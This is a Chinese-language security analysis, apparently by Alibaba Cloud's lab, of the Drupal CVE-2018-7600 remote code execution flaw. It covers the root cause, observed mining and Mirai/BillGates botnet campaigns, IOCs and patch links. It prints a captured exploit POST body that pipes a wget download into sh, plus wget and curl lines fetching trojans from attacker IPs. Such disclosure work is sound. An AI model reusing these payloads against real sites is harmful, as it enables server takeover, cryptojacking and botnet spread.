2018年3月28日,Drupal Security Team官方釋出了一個重要的安全公告,宣稱Drupal 6,7,8等多個子版本存在遠端代碼執行漏洞,攻擊者可以利用該漏洞攻擊Drupal系統的網站,執行惡意代碼,最後完全控制被攻擊的網站,該漏洞就是:CVE-2018-7600。
此消息一出,蠢蠢欲動的黑客們立馬如天降尚方寶劍,都在暗處磨刀霍霍。
阿裡雲安全技術實驗室也在第一時間采取了安全防禦行動,統計發現雲上有将近上萬個Drupal系統的網站,其中Drupal系統的7.x版本占比56%左右,8.x版本的系統占比23.5%,這些版本都是該漏洞的重災區。如果黑客對這些網站發起攻擊,其影響不容小觑。阿裡雲安全技術實驗室随後通知了相關的雲上使用者,并釋出漏洞公告,指導使用者如何進行修複和防禦。
阿裡雲安全技術實驗室對該漏洞進行持續跟蹤和監控發現,雲上仍有一些使用者由于未及時打更新檔,導緻網站系統被攻破。我們發現該漏洞的利用方法簡單、有效,成功率極高。而且黑客們利用該漏洞的從事的黑産種類,也是百花齊放,各有高招。下面我們就來分析一下黑客們是如何利用該漏洞來進行各種斂财、牟取暴利的。
漏洞原理該漏洞的産生的根本原因在于Drupal對表單的渲染上。
Drupal為了在表單渲染過程中能夠動态修改資料,從6.x版本開始便引入了”Drupal Form API”的概念。
相關文檔如下:
https://api.drupal.org/api/drupal/elements/8.6.x這些”可渲染的數組(Renderable arrays)”就是引發此次漏洞的”元兇”,它由一個key-value結構存儲,其中key都以
#
(hash sign)開頭,如下所示:
[
‘#type’ => ‘markup’,
‘#markup’ => ‘<em>some text</em>’,
‘#prefix’ => ‘<div>’,
‘#suffix’ => ‘</div>’
]
Drupal在渲染這些”數組”時,将其中的資料未經安全過濾傳入到
doRender
函數中。
以下是
doRender
函數調用
call_user_func_array
函數的代碼片段:
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLicmbw5iclRmblJ1bk9CXzV2Zh1WavwVbvNmLuVXepxWYuIWYs1yYlN3Lc9CX6MHc0RHaiojIsJye.png)
doRender函數部分代碼
該方法取出”可渲染數組”
#lazy_builder
的值,未經過濾直接傳入
call_user_func_array
函數,導緻惡意代碼被執行。
攻擊鍊路還原如下:
黑客在”可渲染數組”中插入構造惡意代碼,如:
mail[#post_render][]=惡意代碼
通過POST方法将含有惡意代碼的”可渲染數組”送出到drupal系統中。
頁面渲染流程中,”可渲染數組”中攜帶的惡意代碼依次經過
buildform
->
uploadAjaxCallback
renderRoot
doRender
方法。
最終
doRender
方法将”可渲染數組”中的惡意代碼取出,傳入
call_user_func
函數,導緻惡意代碼被執行,成功觸發漏洞,網站淪陷。
相關代碼
自從漏洞CVE-2018-7600公布開始,阿裡雲安全技術實驗室就持續跟蹤和監控該漏洞的利用情況,發現黑客從2018-04-12開始就已經進行了大批量的漏洞攻擊。從最近這段時間監控到的資料發現,已有多個黑客組織開始使用該漏洞來從事黑産活動。
挖礦牟利我們捕獲到黑客精心構造POST資料,利用Drupal漏洞進行攻擊,實作挖礦盈利。具體樣例如下:
mail[#markup]=wget -q http://67.231.243.10:8220/logo4.jpg -O - | sh&mail[#type]=markup&form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec
logo4.jpg實際是一個shell腳本,該shell腳本有兩個功能:
嘗試結束市面上其他挖礦程序;其部分代碼如下:
搶占資源部分代碼
下載下傳挖礦程式和挖礦程式配置腳本,并開始挖礦。
挖礦部分代碼
拿到黑客的錢包位址後,我們在某個礦池中發現該黑客已經獲得了75.87個門羅币,根據市場門羅币的行情預估,該黑客單在這一個礦池中就已經牟利11W,而且該位址的門羅币數量再以每天兩個的數量在遞增,其中利潤之大可見一斑。
黑客的門羅币錢包
建構BillGates僵屍網絡黑客執行
wget -c -P /etc/ http://111.73.46.196:9876/sysxlv
指令,下載下傳BillGates木馬,用于建構自己的僵屍網絡。
該僵屍網絡的相關資訊:
活躍時間:2018-02-14 ~ 至今
中控IP:111.73.46.196
相關域名:xvw.f3322.net
關聯樣本:e05747461650ae6688fe0ed2b1104f0e
截至目前,影響雲上使用者趨勢圖如下:
BillGates木馬入侵趨勢
收集資訊并傳播Mirai僵屍網絡黑客通過下發惡意shell代碼,傳播Mirai僵屍網絡。
下圖是shell通過wget将使用者機器資訊POST到
tc8zdw.if1j0ytgkypa.tk
:
上傳使用者資訊部分指令
資料各個字段的值均用base64加密過,解密後如下:
上傳資訊字段名字段base64解碼後的值
version | EXD |
act | up,表示上傳 |
uid | uid=0(root) gid=0(root) groups=0(root) |
uname | Linux iZt4ncf567x3bguk2zv6haZ 2.6.32-696.16.1.el6.x86_64 #1 SMP Wed Nov 15 16:51:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux |
arch | 64,表示64為作業系統 |
network | |
process | |
名為
64
的程式實際是一個Loader,負責判斷環境,然後下載下傳不同版本的Mirai僵屍網絡。除此之外還會執行其他payload,如
curl -fsSL http://tc8zdw.if1j0ytgkypa.tk/64 -o /tmp/57332442
。
下載下傳Mirai僵屍網絡
入侵趨勢阿裡雲安全技術實驗室從漏洞公布開始即密切關注雲上該漏洞利用情況,發現雲上批量攻擊始于2018-04-12日,并快速增長,随着阿裡雲各個安全産品的關聯攔截以及引導使用者進行漏洞修複後,入侵趨勢已基本下降下來。
雲上Drupal RCE漏洞入侵趨勢
威脅評估本次更新檔公布的時間點領先了批量漏洞利用時間點,使用者擁有兩周時間來進行安全更新。于此同時,雲盾态勢感覺通用入侵檢測模型在漏洞詳情為公布前已經實作自動覆寫并向使用者推送告警,目前絕大部分Drupal使用者已經修複此漏洞,據最近一次入侵趨勢觀測結果(2018.04.18)顯示,公有雲存在漏洞的Drupal服務僅有2.6%。
與同類RCE漏洞相比,現階段 Drupal(Drupalgeddon 2) 殺傷力未進入RCE漏洞第一梯隊。
雲上RCE漏洞殺傷力梯隊
總結此次Drupal RCE漏洞CVE-2018-7600,從公布到發現被打造成自動化攻擊武器,時間如此之短,黑客學習新的漏洞知識的效率之高,着實”令人佩服”。并且不同的黑客組織紛紛将其打造的武器,快速應用到他們的黑産活動中,并為他們帶來收益。這也可以看出,現在的網絡安全攻防要求之高,難度之大。阿裡雲雲盾安全産品從攻擊流量、web入侵、主機異常等方面進行攔截和告警,及時阻斷了黑客對雲上使用者的侵害,為阿裡雲上的使用者提供了強大的安全保障。
相關IOCIOC | 解釋 |
---|---|
http://tc8zdw.if1j0ytgkypa.tk/k | kill其他礦機程序的sh |
http://tc8zdw.if1j0ytgkypa.tk/i | 下載下傳礦機和配置礦機的sh |
http://tc8zdw.if1j0ytgkypa.tk/32 | 傳播mirai僵屍網絡的程式 |
http://tc8zdw.if1j0ytgkypa.tk/64 | |
http://158.69.133.18:8220/logo4.jpg | 下載下傳并配置礦機的sh |
http://111.73.46.196:9876 | DDoS僵屍網絡下載下傳源 |
http://158.69.133.18:8220/1.json | 挖礦配置 |
http://67.231.243.10:8220/logo4.jpg | |
http://158.69.133.18:8220/rig | 挖礦程式 |
http://158.69.133.18:8220/rig1 | |
http://158.69.133.18:8220/rig2 |
應對政策
官方已經修複此漏洞,請及時更新Drupal版本或參考更新檔自行修複:
- Drupal 7.x 請更新至7.58版本( https://www.drupal.org/project/drupal/releases/7.58 ) 或參考此更新檔進行修複 ( https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5 )
- Drupal 8.3.x 請更新至8.3.9版本( https://www.drupal.org/project/drupal/releases/8.3.9 ) 或參考此更新檔進行修複( https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f
- Drupal 8.4.x 請更新至8.4.6版本( https://www.drupal.org/project/drupal/releases/8.4.6
- Drupal 8.5.x 請更新至8.5.1版本( https://www.drupal.org/project/drupal/releases/8.5.1